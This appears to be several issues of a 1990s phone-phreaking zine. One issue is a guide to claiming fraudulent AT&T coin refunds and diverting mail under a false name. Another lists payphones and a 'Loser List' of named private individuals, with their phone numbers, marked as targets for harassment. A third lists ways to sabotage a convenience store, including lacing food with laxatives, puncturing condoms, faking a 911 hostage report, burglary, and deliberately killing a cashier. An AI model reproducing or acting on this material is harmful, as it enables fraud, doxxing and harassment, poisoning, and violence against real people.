THEM: "Alright, what number were you dialing?"

YOU: "Country code 61, city code 2 and the number was 667-3603."

THEM: "Okay, I need your name, address and zip code."

YOU: "(I give her my name address and zip code.)"

THEM: "We'll have that to you in the mail in about two weeks. Sorry about your trouble."

YOU: "Thank you. You have a hell of a day now!"

We hang up. About two weeks later I recieve a letter from AT&T's office in Jacksonville, Florida with a letter of apology and a check for $5.65.  Simple as that. Of course, I usually do 2 to 3 calls a week so my checks add up to about $10 to $15 a week.

Some Important Notes:

First of all, you HAVE to know how much your international call is going to cost. If you give them a wrong amount you're in for some extra hassel and they sometimes won't give you your refund.

Also, I described in the conversation AT&T's method of completing an  international call using coins and this is how it's always done. If you don't know how a call is made, the operator will know something's fishy. The phone  will only hold $3.00 at a time.

Third, you don't want to keep using the same international numbers over and over again. Call me crazy, but I just don't think it's a good idea. Below, I'll tell how to do all this:

The (Dramatic Pause...) Letter I Got:

For awhile in Indianapolis, Indiana I was doing pretty well with AT&T cash. I was actually considering it my second source of income because I was pulling in around $70 a week with it. Then in October of 1993 I got a letter from AT&T which read:

Dear (My real name):

Our records indicate a large number of coin refund requests. In light of this history, we cannot provide a refund until AT&T investigates and verifies this claim. As part of this investigation, please provide us with the written detail of the call and circumstances in which you lost your money. Please mail your explanation to:  Coin Refund Investigation Unit

P. O. Box 561615

Charlotte, NC 28256-1615

It's been over a year now and I never really heard from them again. Their  "investigation" probably consisted of sitting on their asses and waiting for my reply. Of course I didn't send them one and since then I've moved out of state and continue to recieve a moderate amount of AT&T money.

Divirting Addresses:

After the AT&T Letter incident, I aquired a check cashing card at the supermarket under a false name and then sent in a post office "Change Of Address" card to Baton Rouge and diverted the mail at a certain address under my fake name to my post office box in Indianapolis. When AT&T asked for the address to send the check to, I gave them the address in Baton Rouge and it was forwarded to me in Indianapolis. So I still got my AT&T cash. They just didn't know it.

Getting An International Number:

You can get a number a few ways. One is to look in the front of your phone book and find the page on completing international calls. All the major country and city codes are in there. You can just make up a number of random using a country and city code and then a bunch of numbers. Keep in mind, though, that foriegn countries numbers aren't all 7 digits like ours are.

Look up Airlines in your yellow pages. Call the 800 number for any airline you want and say you want a time table for Egypt or any country you choose. They'll take your name & address and send you some useless flight schedule junk. Somewhere in this little booklet is a whole page of international numbers. Use them, one by one...

Call up a phone book ordering office like Ameritech or Dontech and order a phone book from a far away place like Australia or Belgium. You can have them send you a bill with it which you will ignore or you can charge it to somebody else's phone number. Never give them your real name or phone number unless you actually want to pay for it. (You honest person, you...)

The last way is to choose from the below list that I have provided for you. The first few numbers are the country code, second numbers are the city code  and the last few are the phone number. Use these to start your new hobby.

London, England 44 071 633-9293

Paris, France 33 1 4359-0034

Frankfort, Germany 49 69 291-001

Nice, France 33 93 82-5284

Barcelona, Spain 34 3 318-8443

Madrid, Spain 34 1 559-5620

Rome, Italy 39 6 321-0822

Stockholm, Sweden 46 8 113613

Tel Aviv, Israel 972 3 528-9660

Zurich, Switzerland 41 1 261-1800

Brussels, Belgium 32 2 640-1900

Bangkok, Thailand 66 2 231-0113

Finding Out How Much Your Call Costs:

Let's say that you picked a number in England. The country code is 44 and the city code is 462 which is Letchworth Hertz. The phone number is 682-734. Go to your pay fone and dial: 011-44-462-682-734.

An operator will come on and ask how you're paying for your call. Tell her with coins. (Or, to piss her off, nickels.) She'll tell you your call will come to $4.65 for the first minute. That's all you need out of her so tell her to go to hell and hang up. You now know that your call is worth $4.65 and that's how much you tell the AT&T operator for your refund.

How They Complete International Calls:

So let's say that you were really going to make that call. She would tell you the call costs $4.65 and for you to deposit $3.00 now. You put in three bucks worth of quarters and you hear the phone start ringing over there in England. (Real funky ring, too!) As soon as the dude in England answers, the operator says to him, "This is AT&T, I have an international call. Please hold..." Then she tells you to put in the other $1.65. After you do that, she gets off the line and you're connected to England for a whole three minutes until a recording pops back up on the line and asks you for four more bucks.

The reason you put the three in first is because the phone can only handle three bucks at a time. The refund operator knows this and tries to throw you off by asking what happened when you tried to complete your call. NOW you know what to tell her.

I guess that's about all you need to know to get lots and lots of money from AT&T. Since the amount of the check is so small you can usually convince the bank or a supermarket to cash it for you with no I.D. so sometimes you don't even have to use your real name on the check. I always do, though. Hope you find this as helpful as I do when I'm real low on cash. If nothing, it should piss your parents off. Cactus.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Data Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #007

Numbers To Call When You're Bored Out Of Your Skull

Written On November 19, 1994 - Last Revision On January 5, 1995

So you've learned a billion new neat-o ways to phreak and make phree calls and you have all of this spare time on your hands and you can't think of anyone to call? In this file I'm including a majority of the strange and unusual phone numbers that I've collected over the years for you to call. Please keep in mind that this isn't a list of places to cactus (except maybe for some of the people in the Loser List), just a list of numbers for you to call when you're bored or have some time to blow. Harrassment is optional.

Included are payphones, businesses, people who need to have the hell bugged out of them, weirdos, phreaks, dweebies, sluts, security personell, etc. If you have any other numbers to add to this list, please contact me and I MIGHT just add the number to the list. Have fun! This list will be updated frequently.

Pay Phones:

Albany General Hospital, Albany, Oregon..<I> - - -503-926-9072

Amtrack Train Station - Los Angeles, California - - - 213-972-9618, 9812, 9813, 9601

Arco Gas, Castillo Street, Santa Barbara, CA - - - 805-965-9026

Alpine Motel, Santa Barbara, CA - - - 805-687-9226

Antigue Botique (Next To Stop 'N Go), Santa Barbara, CA - - - 805-965-9274

Andrea's Seafood Restaurant, Santa Barbara, CA - - - 805-965-9117, 9129

Arlington Theater..(MEN'S ROOM), Santa Barbara, CA - - - 805-965-9185

Arlington Theater..(LADIES' ROOM), Santa Barbara, CA - - - 805-965-9181

Aloha Restaurant (Carillo Street), Santa Barbara, CA - - - 805-963-9911

Blue Sands Motel (South Milpas), Santa Barbara, CA - - - 805-965-9088

Beach Burger, Santa Barbara, CA - - - 805-965-9151, 9143

Bob's Big Boy, Santa Barbara, CA - - - 805-687-9046

Breakwater Restaurant (Santa Barbara Harbor), Santa Barbara, CA...805-965-9153

Carrows Restuarant - Portland, Oregon..<I>.<H> - - - 503-256-9428, 9437

City Hall Max Train Stop, Portland, Oregon..<O> - - - 503-666-9904, 9898

Chuck's Steak House, Santa Barbara, CA - - - 805-687-9077

City College Cafeteria (INSIDE), Santa Barbara, CA - - - 805-965-9258, 9206

City College Cafeteria (OUTSIDE), Santa Barbara, CA - - - 805-965-9269

Colonial Motel, 206 Castillo, Santa Barbara, CA - - - 805-965-9292

Cory's Auto Parts, Carillo & San Andres, Santa Barbara, CA - - - 805-965-9386

College, Michigan..(Lower level, East hall)..<I>  - - - 517-774-2934

College, Michigan..(Lobby of Barnes Hall)....<I>  - - - 517-774-2935

Conoco Gas Station - Farmington, New Mexico..<O>  - - - 505-327-7012,2910

CottonWood Mall-Glen Carbon, Illinois...(By movie Theater)..<I> - - - 618-656-9717

Dean O's Pizza, Santa Barbara, CA - - - 805-965-9226

Dance Across Texas Club - Austin, Texas....<O> - - - 512-416-9900,9901

Eastgate Cinema - East Alton, Illinois...(In the lobby).<I> - - - 618-254-7178

Employment Office, Santa Barbara, CA - - - 805-965-9193

Educated Car Wash, Santa Barbara, CA - - - 805-965-9044

Elephant Bar, Santa Barbara, CA - - - 805-967-9026, 9182

Fiesta 4 Theater <I>, Santa Barbara, CA - - - 805-965-9983, 9904

Fiesta 4 Theater <O>, Santa Barbara, CA - - - 805-965-9287

Fred Meyer's - Portland, Oregon (Front Entrance)..<I> - - - 503-774-9301, 9023

Fred Meyer's - Portland, Oregon (Side Entrance)...<I> - - - 503-774-9413, 9402

Golf And Fun, Santa Barbara, CA - - - 805-687-9231

Grandda Theater, Santa Barbara, CA - - - 805-965-9118

Greyhound Bus Station <I>, Santa Barbara, CA - - - 805-965-9111, 9447

Greyhound Bus Station <O>, Santa Barbara, CA - - - 805-965-9180, 9172

Gateway Transit Center, Portland, Oregon...<O> - - - 503-256-8041

Harry's Plaza, Santa Barbara, CA - - - 805-687-9032

Holiday Motel, Santa Barbara, CA - - - 805-687-9028

Henry's Beach, Santa Barbara, CA - - - 805-687-9160, 9161

Hollywood Transit Center - Portland, Oregon..<O> - - - 503-280-9346

Jatzen Beach Mall - Portland, Oregon...(By Binyon's).<I> - - - 503-283-9326, 9153

Jatzen Beach Mall - Portland, Oregon...(By Ice Cream Store) - - - 503-283-9324, 9319

Jatzen Beach Mall - Portland, Oregon...(By Radio Shack).<I> - - - 503-283-9096, 9037

Lafayette Square Cinema - Indianapolis, Indiana..(In Lobby)..<I> - - - 317-297-0294

Lafayette Square Mall - Indianapolis, Indiana (By Theater) - - - 317-290-0229, 0231

Lloyd Center Mall - Portland, Oregon (Meier & Frank)..<I> - - - 503-249-9423, 9424

Los Banos Del Mar Public Pool, Santa Barbara, CA - - - 805-965-9325, 9427

Lloyd Center Mall - Portland, Oregon (Nordstrom's) - - - 503-249-9910, 9911, 9939

Milpas Laundromat, Santa Barbara, CA - - - 805-965-9168

Moby Dick's Restaurant (Stearns Wharf), Santa Barbara, CA - - - 805-965-9462, 9429

Marina Beach Motel, Santa Barbara, CA - - - 805-965-9243

Max Mart Deli - Portland, Oregon.............<O> - - - 503-256-8025

Nick's Bar (Cliff & Meigs), Santa Barbara, CA - - - 805-965-9479

Pine & Broadway - Highland, Illinois..(Near a couple of bars).<O> - - - 618-654-9044

PDX Portland International Airport - Portland, Oregon - - - 503-249-9017, 9845, 9429

PDX " " " - Portland, Oregon..(lots of people around)....<I> - - - 503-249-9805

Raddison Hotel - Austin, Texas.....<I> - - - 512-477-0114, 0619, 0621, 0118, 0602

Ramada Inn South - Austin, Texas..(Home of HoHoCon '94).<I> - - - 512-445-9070, 9068

Reynold's High School - Troutdale, Oregon.....<I> - - - 503-666-9806

Rusty's Pizza, Santa Barbara, CA - - - 805-687-9217

Sheraton Hotel - Austin, Texas...(By pool area)..<I> - - - 512-478-0113, 0126

St. Francis Hospital, Santa Barbara, CA - - - 805-965-9081

Santa Barbara Raquetball Club, Santa Barbara, CA - - - 805-965-9284, 9257

Sonny's Pizza, Santa Barbara, CA - - - 805-965-9057

Sears, Santa Barbara, CA - - - 805-687-9040, 9031, 9019

Tides Motel, Santa Barbara, CA - - - 805-965-9056

Transit Center, Santa Barbara, CA - - - 805-965-9165

Train Station, Santa Barbara, CA - - - 805-965-9122, 9123

Texaco, Santa Barbara, CA - - - 805-965-9267

Thrifty Gas, Santa Barbara, CA - - - 805-965-9375, 9365

Skate Across Texas - Austin, Texas..(Call in evening)..<O>........512-447-5283

Wedge Motomart - Highland, Illinois.(Indoor pay phone by counter) - - - 503-654-9075

Winchell's Donuts, Santa Barbara, CA - - - 805-687-9121

West Beach, Santa Barbara, CA - - - 805-965-9080, 9038

Winchell's Donuts (Milpas & Yanonali), Santa Barbara, CA - - - 805-963-9904

Wood River Donut Shop - Wood River, Illinois..(Talk to cops!).<I> - - - 618-254-7214

7-Eleven (Castillo Street), Santa Barbara, CA - - - 805-965-9286, 9156

7-Eleven (Cliff Drive), Santa Barbara, CA - - - 805-965-9042

Handy pay phone code list:

<I>=Indoor phone <O>=Outdoor phone <H>=Lots of people usually around this fone.

The Loser List:

April The Slut - Portland, Oregon  - - - 503-657-7313 or 503-294-8720 or 503-635-8128

Beth Pierce - Portland, Oregon..(My old apartment manager) - - - 503-253-3855

Keith & Trudy Brown..(An uptight, short-tempered couple) - - - 618-377-1319

Rob Walker..(How's the 'ol phone bill doin', Rob?) - - - 503-760-2699

Siras Alwahya - Portland, Oregon..(aka The Italian Sausage) - - - 503-650-6979

Dick Ahlers..(Call and ask for his son, Todd aka Mr. Canoehead) - - - 618-931-4402

Chris Tomkinson..(Tell him his videos are overdue) - - - 309-454-2725

Chris Tomkinson's parents.....(Tell them Chris is in jail) - - - 618-258-3147

Red Lion Hotel - Austin, Texas...(These people CANCELED HoHoCon 1994 on us for no reason! So let 'em have it!) - - - 512-323-5466

Jason Phillips - Wood River, Illinois - - - 618-254-2442

Danny Colwell - Granite City, Illinois - - - 618-931-2414

Clifton Peters - Portland, Oregon...(His VMB) - - - 503-306-9243

Adam Knight (Listens to country... Call him "Poonix" and stand back. Call him fat too!) - - - 512-852-0389 & 512-853-2168

Alex Digerlando.(Thinks he is a werewolf & has FUNKY ans.machine) - - - 908-273-2168

Albert Bachman..("I can see you through your window.") - - - 908-273-2544

Curt Zimmerman..(Tell him you "got the stuff") - - - 908-277-3589

Antony Lickteig..(Talk to his family: Ask for Mark & Stephen.) - - - 512-991-2837

Kevin Christmas...(Totally fucked up BBS bitch.) - - - 512-855-2043

Some Woman...(Called RBCP at 3:00am. Ask for Jonnie.) - - - 512-289-5981

Lahr-Well Academy Private School....(Ask For Jason Crews) - - - 618-288-8024

Phillip Wool - Belleville, Illinois...(A wanna-be hacker) - - - 618-397-7729

Some of the people listed here just deserve to have the shit bugged out of them and others are just so freakin' air-headed that you HAVE to mess with them. In your spare time you can annoy these people with collect calls or calling cards or whatever. I especially encourage the destruction of April, a prostitute with AIDS who has unprotected sex with a different guy nightly.  A murderer, nothing less.

TDD (TTY) Phones:

Oregon Relay Service - - - 800-735-2900

Texas Relay Service - - - 800-735-2989

Illinois Relay Service - - - 800-526-0844

Ohio Relay Service - - - 800-750-0750

Missouri Relay Service - - - 800-735-2966

New Mexico Relay Service - - - 800-659-8331

Arizona Relay Service - - - 800-842-4681

Iowa Relay Service - - - 800-735-2942

Florida Relay Service - - - 800-955-8771

California Relay Service - - - 800-735-2929

AT&T Directory Asisstance..(Gives you any number in U.S.A. free!) - - - 800-855-1155

911 Emergency in Portland, Oregon - - - 503-760-2212

AIDS Hotline - - - 800-243-7889

These are a lot of fun to play with. For those who don't know, a TDD is a phone for the deaf. Some payphones are equipped with TDD terminals that pop out of the phone when you dial into a deaf phone. You can also set up your computer at a slow baud rate (300 or 1200) and use it as a deaf phone. Some things to type at them are "WHAT DO YOU MEAN, WHO IS THIS? YOU DON'T RECOGNIZE MY VOICE??" and "DON'T YOU DARE RAISE YOUR KEYS AT ME..." (Say that when they get mad.) Since some TDD phones are only able to type letters, certain codes are used by all TDD users. These include "GA" for "go ahead", "Q" instead of a question mark and  "SKSK" means good-bye.

The above listed "relay services" you can call on your terminal and the person who answers will call any number you request and act as a translator between you and the other person. They will say ANYTHING you type to them. You can cuss, make terrorist bomb threats and tell them that your pussy is wet and hot. I've done all of this and they don't care. One even relayed a singing message for me.

Another good deal with the relay services is that you can avoid toll charges when you dial through them. Occasionally you'll find an operator that can't tell where you're calling from so if you live in Illinois and want to leave a message at a number in Arizona, call Arizona Relay and they'll do it, usually free of charge!

Interesting Answering Machines and VMBs:

Hey, Ho! Nobody's Home! - Celina, Ohio - - - 419-394-2407

Steve Mitchell - New Lennox, Illinois..(Always a new message) - - - 815-485-5584

Mr. Hemmoroid Man - - - 503-256-8427

Some weird-o lady who likes to sing - - - 503-289-2439

Some little kid - Indianapolis, Indiana - - - 317-579-9222

Harold - - - 618-259-8001

Phone Company Related Numbers:

Jim Bayless (Ameritech Corporate Security, Indianapolis, IN) - - - 317-265-2539

Kathy Mallon (GTE Northwest Security) - - - 317-896-8335

AT&T Message Sender..(Send your own AT&T message to anyone!) - - - 800-562-6275

Ameritech Stocks & Newsline - - - 312-917-9797 or 800-893-LINE

Bell Atlantic Stocks & Newsline - - - 800-647-NEWS

Businesses:

Beverly Hills Cinema.....(Beverly Center, Los Angeles, CA) - - - 310-652-7767

The Church Of Jesus Crust & Later Day Saintwads - - - 800-952-3131

Circle K - Galveston, Texas - - - 409-744-5332

Dairy Queen - Portland, Oregon..(Call in LARGE pick up orders) - - - 503-661-5112

Fred Meyer's - Portland, Oregon..(ask for extension 1800) - - - 503-254-7905

Greyhound Buslines..("How much for a bus to Hawaii?") - - - 800-231-2222

Houston Hobby Airport - Houston, Texas - - - 713-643-4597

Los Angeles Police Department - - - 213-485-2121

Meier & Frank - Portland, Oregon.(Call the customer credit fones) - - - 503-281-4797

Credit Phone Extensions for M&F (above) - - - 2205, 3024, 2310, 2311, 2396

Union Station Cinema - St. Louis, Missouri..(Do you deliver?) - - - 314-231-1980

Ursuline Convent - Alton, Illinois..(A NUN'S convent!) - - - 618-463-0018

Walker's Amoco - Indianapolis, Indiana..(Very gullible people) - - - 317-353-9234

Bombay House..(Hindu restaurant. Ask about Camels.) - - - 512-857-2184

Partylines/Chatlines:

The Awesome Live Partyline..(Actually, not that great) - - - 809-474-2569

Hotel California...(THE BEST PARTYLINE! Ask for Roy & his gerbil) - - - 801-234-SHIT

Viper Room.(Hotel California's sister line) - - - 801-855-SHIT

Motel "69" - - - 809-563-0069

Underground Partyline..(No, not REALLY underground) - - - 515-945-6700

Most of the partylines that you find listed in the back of a Rolling Stone or Spin magazine is totally free of charge, you pay only the long distance charges. Don't let the 809 area codes fool ya, though. They're located in the Dominican Republic and cost quite a bit more than normal U.S. charges. Most of the people you meet on these lines are screwing the phone company in some way because they're all partyline addicts who HAVE to call every day so you can sometimes learn new tricks on these lines.

Miscellaneous Weird Stuff:

Dick Clark's Trivia Line..(An interactive contest) - - - 800-328-2120

Elevator phones -...A college in Michigan.(When calling these, - - - 517-774-4292

Elevator phones -...you are on speaker phone in the elevator!) - - - 517-774-2263

The White House - Washington D.C...(Yeah, is Bill there?) - - - 202-456-1414

My voicemail.......(How about some more numbers, please?) - - - 512-370-4680

The Orgasmic Operator (Listen to the whole recording) - - - 618-254-0000

The HoHoCon Voice Mail - Houston, Texas - - - 713-867-9544

Girlscout Cookie Hotline...(Send them to your house!) - - - 800-882-6468

A Few BBS Numbers:

Bogus Journey - Edwardsville, Illinois - - - 618-656-7266

Roy's Place - Granite City, Illinois..(PLA WHQ) - - - 618-797-2339

Sonic Youth Systems - - - 512-851-8317

The Sprawl - Austin, Texas - - - 512-458-3409

Ripco - Chicago, Illinois....(Phreaking Since 1983) - - - 312-528-5020

CAUG-PC BBS..(Catholic pay board; charges the hell out of people) - - - 512-993-8876

CCAT.........(Another annoying pay board...(Wildcat!)) - - - 512-242-2206

CDS....(Automated "sysops" break in for chat.) - - - 512-887-0787

Roy:

Village Clerk - Roy, New Mexico - - - 505-485-2541

Roy Taxi Service in Austin, Texas - - - 512-482-0000

Roy Colwell - Caseyville, Illinois.(His wife is praying for you) - - - 618-345-4074

Police Department - Roy, New Mexico - - - 505-485-2204

Roy Electric - - - 718-434-7002

Roy Incorporated - - - 516-742-8831

Roy's Sewer Service - - - 718-927-1456

Roy Boy's - - - 503-245-8289

Roy & Roy Consulting - - - 503-282-7594

Roy Wilson - - - 718-434-5540 & 718-859-8185

Roy's Carpet Factory Outlet - Wayne, Oklahoma - - - 800-468-3280

Roy Perry - Jonesboro, Arkansas - - - 501-xxx-xxxx

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-643-3049 The Final Frontier

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #008

How To Turn The Work Life Of A Local 7-Eleven Employee Into A Living Hell

Written On September 6, 1994 - Last Revision on March 28, 1995

I've worked in a zillion different convienence type stores and gas stations and I KNOW what used to piss me off so this file is fairly accurate. Most of the more destructive ideas have been tried by me and friends while working the graveyard shift at the Han-Dee-Mart as it gets extremely boring there at night. Keep in mind that a conveinence store gets pretty busy sometimes and the cashier can't watch every section of the store all at once so don't worry about him/her seeing you do most of this stuff. Even if you're caught, the worst that happens is you get kicked out for the day. (You can go back the next day because they've usually hired someone new by then.) Cactus!

Included at the end is a section FOR the conveinence store employees to help them cope with working the graveyard shift at a dead-end job. If you have any comments, stories or anything else, please contact me at 512-370-4680. I'm there to listen.

"I have told you a million times not to make shambles of my candy isle so I have no other choice but to tell you once again not to make shambles out of my candy isle. Have a nice day." -A clerk said something similar to Bart Simpson

1. If the condoms are accessable to you, use a needle and poke holes in all of them.

2. Take Ex-Lax and put it in the donuts, cookies, ice cream, coffee machine, cashier's soda, etc.

3. Take one bite out of each of the cookies and donuts.

4. Mix all of the items in the condiments bar together to form a big, yucky salad. Be sure to spill items all over each other and on the floor.

5. Use a razor blade to make a slit in each one of the cartons of milk. This will start a very small drip-leak but when a customer picks up the milk it should spill pretty good. This makes a good mess inside AND outside of the cooler. Really a bitch to clean up.

6. Paint the front sidewalk in pychedelic colors.

7. Bring a ton of items up to the counter. After the cashier rings everything up and asks for your $34.75, tell him you changed your mind and walk out, leaving everything on the counter.

8. Most of the more popular stores have a toll-free customer hotline for customers to call in and complain or make suggestions. Find this number (usually written on the outside window) and call it once a day to complain about an employee you don't like.

9. Put a full pot of coffee under the coffee spout. Then press the button that starts the coffee maker. This will overflow the pot and create a tremendous mess.

10.Jam the handle on the Slurpee/Slushie/Whatever machine so that the mush keeps on flowing after you leave. What the cashier cry when he finds it.

11.Ask for $600 in money orders and twenty lotto tickets. After the cashier prints up the money orders and lotto tickets, leave. It's a real bitch to void out money orders and lotto.

12.Sit your fountain drink on top of a video game. There's usually some vents on top of the game so whoops! Accidentally knock your drink over so the entire 44 ounces of Pepsi spill into these vents. This makes for some pretty neat-o smoking effects as well as sparks and fire. Make sure that it's not a cool game that you play often because you won't be playing it anymore.

13.Fill up a Super Tanker Gigantic drink cup with Pepsi. Take it all around the store with you spilling it's contents all over the items on the shelves as you go along. You can imagine what it'd be like to clean this up.

14.On a really hot day, get on the roof and turn off the air conditioning. If possible, make sure that the air conditioners will never work again. Be extremely quiet when walking around up there so mister cashier doesn't hear you.

15.Telephone the cashier and start asking him questions about robberies like:

* "Do you have one of those silent alarm buttons you could press if I were to rob you?"

* "Do the police in your neighborhood respond quickly when something bad happens in your store?"

"How many times has your store been robbed? Was the robber caught?"

"Theoreticly speaking, if a professional robber such as myself were to come in and rob you, what are the chances of me getting caught?"

"Do you carry a loaded gun behind the counter?"

"How much money is in your cash drawer right now? That's all? Uhhh, could you please not drop anymore in the safe until I get there? I, uh, need  to cash a check, yeah, that's it."

"Are you afraid of death?"

16.Order a telephone calling card for the store and obtain the pin number.  Using the card, make tons of harrassing calls to the store until the card goes dead. When they get their bill, they realize that they've been paying for their own harrassment.

17.Find out the store manager's name or the store owner's name. From a pay phone call your friends in Austraila and third number bill it to the store,  saying that you're the manager. The cashier will accept the charges when he thinks it's the manager.

18.Order call forwarding for the store. Ask the cashier if you can use the phone and dial 72#-911 or *72-911. When 911 answers, tell them you got the wrong number and hang up. Now go out to a pay phone and call the store and you'll get 911. Make up some big story about how you're getting robbed and they've thrown you in the cooler and taken customers hostage, etc. If 911 calls back to verify this, they'll get their own office, 911.

19.Start picking up items around the store and dropping them in the trash can.

Going Where You're Not Supposed To:

It's hard for a 7-Eleven to make money, especially with people like us in this world, therefore they are usually understaffed. If there's only one person working the swing shift (the 4:00pm-Midnight) then you're in for some extra fun. Make SURE there's only one guy there by calling him and asking. If he's the only one there and it's busy, he HAS to stay at the register so you're free to go anywhere else in the store, including the back room and walk-in freezer.

20.Go in the walk-in freezer with a friend. Veg out on the beer cases and get drunk off your asses. You can usually keep a good eye on the cashier through the window but after a few beers you stop caring about him.

21.Find the back room and look for a few five foot tall cylinder things. These are called CO2 tanks which is what gives the fountain sodas their fizz.  Locate the one hooked up to a hose and turn it off. Everyone's soda will taste pretty damn gross now.

22.Take it one step further by disconnecting all of the soda tanks. It'll take the poor cashier an hour to figure out why there's no soda, and another hour to hook 'em all back up and figure out which hose goes to which tank.

23.If there's not a public restroom then there's definately an employee restroom in the back someplace. Go in there and the employees will sometimes keep their personal belongings lying around. Steal it all and then phone the cashier, demanding a ransom for his stuff.

24.Look for the employee schedule and time sheet hanging somewhere on the wall. Steal the shedule so you'll know who's working for the rest of the week. Flush the time sheet down the toilet so the manager won't know who worked when all week and nobody'll get paid.

25.Instead of flushing the time sheet, find an employee on it that you're not too fond of and add a few hours here and there on his time card. The manager will most likely notice this and either think the employee is  trying to cheat for more hours or think that another employee is trying to get him in trouble. If the manager DOESN'T notice, that guy's going to have a nice, hefty paycheck next week.

26.Find the manager's office. It's probably locked but most can be opened with the credit card method. Once in the manager's office, loot. Have your friend watch the security monitor so you'll know if the cashier's comming,  while you look for things you want to take. The computer is a nice start.

If that's too big, how about the modem. You can steal the employee files and then freak them out by calling them and reciting information to them.  Also, security video tapes would be kind of neat to have. In the more modern stores, the cash register is linked with the computer in the office. Sometimes the register won't work without the computer being turned on so unplug the computer and take the cord home with you. Pretty soon the  cashier will be using a pocket calculator and a shoebox to ring up the merchandise.

27.The main phone wires are usually somewhere in the back room. You can slow the cashier down quite a bit by disconnecting them all. Don't just unhook them, though. Cut all of them down that you can find and take them with you so there's little chance of them being fixed anytime soon. What does this accomplish? Well, the Lotto machine will stop working soon after losing it's phone line. No more checks, credit cards, ATM cards, gas cards because the credit validation machines can't call in to get approval. Believe me, I know that this is frustrating. Worse thing is, when he starts having all of these problems, he can't call anyone for help because his phone doesn't  work anymore. To make it even more pathetic, put the outside pay phones out of commission so he doesn't have a chance.

28.The back rooms are filled with stock that won't fit out on the sales floor. Since there usually aren't any cameras in the back room, this is your chance for fearless shoplifting! Bring a large bag...

29.The gas pump controls should be lurking about somewhere. Take a look at all the buttons and figure out for yourself which ones would be most disaterous to shut off. There's usually serveral shut off switches so shut them ALL off. The cashier will spend a great deal of his life staring at the banks of switches trying to figure out how to turn them back on.

30.Find the circuit breaker boxes. They'll always be unlocked. Find the main switches on all of them and shut them all off at once, cutting the power to the whole store. Since it's dark, you'll be able to slip back out onto the sales floor without being spotted. The cashier will probably assume it's a normal power outage. This is a perfect time for shoplifting.

Gas Stations:

31.If it's a self-service station, the cashier hears an annoying BEEP BEEP BEEP BEEP... when you lift the gas nozzle and push the lever up. The cashier is supposed to look outside, take note of the car and the driver,  then hit the Validate button so you can get your gas. Walk up to a pump,  out of the cashier's view, hide behind the pump and push the lever up. The cashier will go nuts trying to figure out why the console's beeping if there's no car out there. Go from pump to pump doing this until the cashier comes out to say, "Hey...cut that out."

32.Okay, this is a good one I've always wanted to try. Go to one of those personalized license plate booths in the mall. You know, the one's where you make a plate ILUVYOU for your girlfriend to hang in her room. Find out what the cashier's license plate number is or, failing that, find out what his mother's license plate number is. Attach this plate to the front of your car and pull in to get some gas. Make sure the cashier can see your license plate very clearly. Fill up your tank with Super Unleaded. Make sure the cashier is watching, get in your car and slowly back out of the parking lot, giving the cashier's reflexes time to kick in so he can find a pen and write down your license plate number. Have a friend hang around the store to watch the fun next. See, if the cashier doesn't get a plate number, then he's in a lot of trouble. When someone gets gas and doesn't pay for it, the cashier has to call the police and fill out a report and everything so he doesn't get a disciplinary write up. The cop will want to know the make of car, the plate number and a description of who was driving. (A good idea is to wear a cap and glasses, not that a cop is any real threat.) When the cop runs the plate number through he's going to come up with the  cashier's name (or his mom's) and we're all in for a lot of confusion and fun. I have no idea what the outcome would be.

33.At full service station, pull up to the pump and make sure your gas tank is on the opposite side as the gas pump so the gas attendant has to manage to get the hose on the other side. If he says you have to turn your car around say, "Aw, it'll reach, I promise."

34.Also at full service, if you're needing unleaded gasoline, pull up so your gas tank is about four feet past the unleaded pump. Tell the gas attendant you want five bucks unleaded and go inside. This is a pain in the hiney for the gas attendant because he's so far away from the pump that he can't see when he's up to five bucks. Usually they end up pumping a little, running over to the pump to see how much left to go, running back and pumping a little more, running back to check again, etc, etc...Piss him off more by saying, "Hurry it up a little, willya?"

35.Most every gas pump I've seen can be locked with a normal padlock. Go in the store and shoplift as many Master padlocks as you need. Bring them outside and lock up each one of the pumps. Since the average gas station doesn't have a pair of bolt cutters on the premises, nobody will be getting gas for the rest of the night.

36.Gas stations have to take daily gas readings by sticking a really long pole into the the ground where the big underground tanks are located. You can find these poles somewhere around the outside of the building or by the dumpster and there's usually several of them. Take them all and the station won't be able to take the daily readings anymore.

37.Get in your car and drive a few blocks from the store. Floor it towards the store and try to get up to 90 M.P.H. by the time you hit the parking lot.  Smash directly into a gas pump, blowing up the pump, the car and killing yourself. Try to enter the parking lot at the right angle so after you smash through the pump you'll crash through the store's front window and into the cashier, killing him too.

38.Pick up the gas pump nozzle, squeeze it and hold a match in front of it to create a flame thrower. Burn all of the nearby customers to a crisp and try to set the store on fire before the cashier hits the Emergency ShutOff switch. (Can you tell I'm running out of ideas?)

Surviving Graveyard Shift:

This last section is for the 7-Eleven employees. As anyone who's worked it knows, graveyards are the most boring eight hours of your day. At about a customer an hour, there's not a whole hell of a lot to do. Your manager has probably provided you with a checklist of work to do but it's usually not very much fun to do work.

39.First order of business. Try to think of the most creative way to destroy your manager's checklist. Make it a point not to do ANYthing on the list.   If you do, you'll get no praise for it. If you don't, you'll be doing just exactly what's expected of you. Nothing. If you lose your job, oh well.  There's a million other 7-Elevens out there looking for a slave.

40.Bring a radio, even if they're not permitted. No human being should be expected to sit in total silence for eight hours. Sure, that's what your checklist is for but remember, you destroyed that. I'm sure your manager will understand.

41.Open the Clearly Canadian bottles and drop Alkaselters (sp?) into them. If you drop enough in you can make a pretty good mess. If you're worried about the mess, do it outside.

42.Sit on a gas pump and light fireworks, occasionally dropping one on the ground by the pump, making everyone nearby nervous and jumpy.

43.Be extremely rude to everyone that comes in to shop, especially the cops who come in to buy the entire stock of Hostess donuts and think that just because they're cops, they get free coffee. If you really hate doing any work at all, this will help. When you're rude people go out of their way to keep from shopping at your store.

44.Make prank phone calls to the other store across the street.

45.Sweep the parking lot. Do a real good job and when you get to the edge of the parking lot, keep going and going until you've swept the entire block.  Then sweep the streets in the area and the parking lot across the street.

46.Take all the breakfast and snack food from the shelves and hide them in the back room. The cops will cry when there's no more Hostess donuts.

47.Go over to the store across the street and start cleaning up their store just to see the other guy's reaction.

Proven Ways To Get Yourself Shot:

48. When being robbed at gunpoint, be a real sarcastic smartass to the guy holding a gun in your face. Make fun of obvious things such as his weight,  facial scars, etc.

